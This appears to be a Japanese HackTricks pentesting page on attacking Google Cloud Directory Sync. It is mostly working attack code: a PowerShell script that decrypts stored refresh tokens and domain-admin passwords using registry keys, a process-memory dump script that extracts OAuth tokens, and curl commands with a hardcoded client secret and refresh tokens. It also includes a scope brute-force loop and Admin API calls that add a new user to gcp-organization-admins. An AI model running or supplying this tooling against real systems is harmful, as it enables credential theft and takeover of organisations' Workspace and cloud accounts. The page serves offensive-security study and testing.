GCDS - Google Cloud Directory Sync

Support HackTricks

基本情報

これは、アクティブディレクトリのユーザーとグループをWorkspaceに同期するために使用できるツールです(執筆時点ではその逆はできません)。

これは、Workspaceのスーパーユーザーと特権のあるADユーザーの資格情報を必要とするツールであるため、興味深いです。したがって、時折ユーザーを同期しているドメインサーバー内で見つけることができるかもしれません。

config-manager.exe バイナリに対してMitMを実行するには、config.manager.vmoptionsファイルに次の行を追加してください: -Dcom.sun.net.ssl.checkRevocation=false

Winpeasは、GCDSを検出し、構成に関する情報を取得し、パスワードや暗号化された資格情報さえも取得できることに注意してください。

また、GCDSはADからWorkspaceにパスワードを同期しないことにも注意してください。何かあれば、Workspaceで新しく作成されたユーザーのためにランダムなパスワードを生成するだけです。以下の画像に示すように:

GCDS - ディスクトークンとAD資格情報

バイナリconfig-manager.exe(GUIを持つ主要なGCDSバイナリ)は、構成されたアクティブディレクトリの資格情報、リフレッシュトークン、およびアクセスをデフォルトでxmlファイルに保存します。場所は**C:\Program Files\Google Cloud Directory Syncで、デフォルトではUntitled-1.xmlというファイル名です。ただし、ユーザーのDocuments他の任意のフォルダー**に保存されることもあります。

さらに、レジストリの**HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui内のキーopen.recent**には、最近開かれたすべての構成ファイル(xml)のパスが含まれています。したがって、それを確認して見つけることが可能です

ファイル内の最も興味深い情報は次のとおりです:

[...]
<loginMethod>OAUTH2</loginMethod>
<oAuth2RefreshToken>rKvvNQxi74JZGI74u68aC6o+3Nu1ZgVUYdD1GyoWyiHHxtWx+lbx3Nk8dU27fts5lCJKH/Gp1q8S6kEM2AvjQZN16MkGTU+L2Yd0kZsIJWeO0K0RdVaK2D9Saqchk347kDgGsQulJnuxU+Puo46+aA==</oAuth2RefreshToken>
<oAuth2Scopes>
<scope>https://www.google.com/m8/feeds/</scope>
<scope>https://www.googleapis.com/auth/admin.directory.group</scope>
<scope>https://www.googleapis.com/auth/admin.directory.orgunit</scope>
<scope>https://www.googleapis.com/auth/admin.directory.resource.calendar</scope>
<scope>https://www.googleapis.com/auth/admin.directory.user</scope>
<scope>https://www.googleapis.com/auth/admin.directory.userschema</scope>
<scope>https://www.googleapis.com/auth/apps.groups.settings</scope>
<scope>https://www.googleapis.com/auth/apps.licensing</scope>
<scope>https://www.googleapis.com/auth/plus.me</scope>
</oAuth2Scopes>
[...]
<hostname>192.168.10.23</hostname>
<port>389</port>
<basedn>dc=hacktricks,dc=local</basedn>
<authType>SIMPLE</authType>
<authUser>DOMAIN\domain-admin</authUser>
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]

注意してください、refresh token とユーザーのpasswordは、AES CBCを使用してランダムに生成されたキーとIVでencryptedされ、HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\utilに保存されています(prefs Javaライブラリが設定を保存する場所)で、文字列キー**/Encryption/Policy/V2.iv/Encryption/Policy/V2.key**にbase64で保存されています。

refresh tokenとpasswordを復号化するためのPowershellスクリプト

```powershell # Paths and key names $xmlConfigPath = "C:\Users\c\Documents\conf.xml" $regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util" $ivKeyName = "/Encryption/Policy/V2.iv" $keyKeyName = "/Encryption/Policy/V2.key"

Open the registry key

try { $regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath) if (-not $regKey) { Throw "Registry key not found: HKCU$regPath" } } catch { Write-Error "Failed to open registry key: $_" exit }

Get Base64-encoded IV and Key from the registry

try { $ivBase64 = $regKey.GetValue($ivKeyName) $ivBase64 = $ivBase64 -replace '/', '' $ivBase64 = $ivBase64 -replace '\', '/' if (-not $ivBase64) { Throw "IV not found in registry" } $keyBase64 = $regKey.GetValue($keyKeyName) $keyBase64 = $keyBase64 -replace '/', '' $keyBase64 = $keyBase64 -replace '\', '/' if (-not $keyBase64) { Throw "Key not found in registry" } } catch { Write-Error "Failed to read registry values: $_" exit } $regKey.Close()

Decode Base64 IV and Key

$ivBytes = [Convert]::FromBase64String($ivBase64) $keyBytes = [Convert]::FromBase64String($keyBase64)

Read XML content

$xmlContent = Get-Content -Path $xmlConfigPath -Raw

Extract Base64-encoded encrypted values using regex

$refreshTokenMatch = [regex]::Match($xmlContent, "(.*?)") $refreshTokenBase64 = $refreshTokenMatch.Groups[1].Value

$encryptedPasswordMatch = [regex]::Match($xmlContent, "(.*?)") $encryptedPasswordBase64 = $encryptedPasswordMatch.Groups[1].Value

Decode encrypted values from Base64

$refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64) $encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)

Function to decrypt data using AES CBC

Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) { $aes = [System.Security.Cryptography.Aes]::Create() $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $aes.KeySize = 256 $aes.BlockSize = 128 $aes.Key = $keyBytes $aes.IV = $ivBytes

$decryptor = $aes.CreateDecryptor() $memoryStream = New-Object System.IO.MemoryStream $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write) $cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length) $cryptoStream.FlushFinalBlock() $plaintextBytes = $memoryStream.ToArray()

$cryptoStream.Close() $memoryStream.Close()

return $plaintextBytes }

Decrypt the values

$refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes $refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes)

$decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes $decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes)

Output the decrypted values

Write-Host "Decrypted Refresh Token: $refreshToken" Write-Host "Decrypted Password: $decryptedPassword"

</details>

<div data-gb-custom-block data-tag="hint" data-style='info'>

この情報は、**`C:\Program Files\Google Cloud Directory Sync`** の **`DirSync.jar`** のJavaコードを確認し、`exportkeys`という文字列を検索することで確認可能です(これはバイナリ **`upgrade-config.exe`** がキーをダンプするために期待するCLIパラメータです)。

</div>

PowerShellスクリプトを使用する代わりに、バイナリ **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** を `-exportKeys` パラメータと共に使用し、レジストリから **Key** と **IV** を16進数で取得し、その後、AES/CBCとそのキーおよびIVを使用して情報を復号化するためにサイバーシェフを使用することも可能です。

### GCDS - メモリからのトークンのダンプ

GCPWと同様に、`config-manager.exe` プロセスのメモリをダンプすることが可能です(これはGCDSのGUIを持つメインバイナリの名前です)ので、リフレッシュトークンとアクセストークンを見つけることができます(すでに生成されている場合)。\
ADに設定された資格情報も見つけることができると思います。

<details>

<summary>config-manager.exeプロセスをダンプしてトークンを検索</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force

GCDS - リフレッシュトークンからアクセストークンを生成する

リフレッシュトークンを使用して、次のコマンドで指定されたクライアントIDとクライアントシークレットを使用してアクセストークンを生成することができます。

curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token

GCDS - スコープ

リフレッシュトークンを持っていても、アクセストークンのためにスコープをリクエストすることはできません。なぜなら、アクセストークンを生成しているアプリケーションでサポートされているスコープのみをリクエストできるからです。

また、リフレッシュトークンはすべてのアプリケーションで有効ではありません。

デフォルトでは、GCSDはユーザーとしてすべての可能なOAuthスコープにアクセスできないため、次のスクリプトを使用して、refresh_tokenを使用してaccess_tokenを生成するために使用できるスコープを見つけることができます:

スコープをブルートフォースするためのBashスクリプト

```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \ --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \ --data "grant_type=refresh_token" \ --data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \ --data "scope=$scope" \ https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then echo "" echo $scope echo $scope >> /tmp/valid_scopes.txt fi done

echo "" echo "" echo "Valid scopes:" cat /tmp/valid_scopes.txt rm /tmp/valid_scopes.txt

</details>

そして、これが執筆時に得られた出力です:

https://www.googleapis.com/auth/admin.directory.group https://www.googleapis.com/auth/admin.directory.orgunit https://www.googleapis.com/auth/admin.directory.resource.calendar https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/admin.directory.userschema https://www.googleapis.com/auth/apps.groups.settings https://www.googleapis.com/auth/apps.licensing https://www.googleapis.com/auth/contacts

#### ユーザーを作成し、`gcp-organization-admins` グループに追加して GCP での権限昇格を試みる
```bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'

# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'

# You could also change the password of a user for example

新しいユーザーにSuper Aminロールを付与することはできません。なぜなら、リフレッシュトークンに必要なスコープが不足しているためです。

Last updated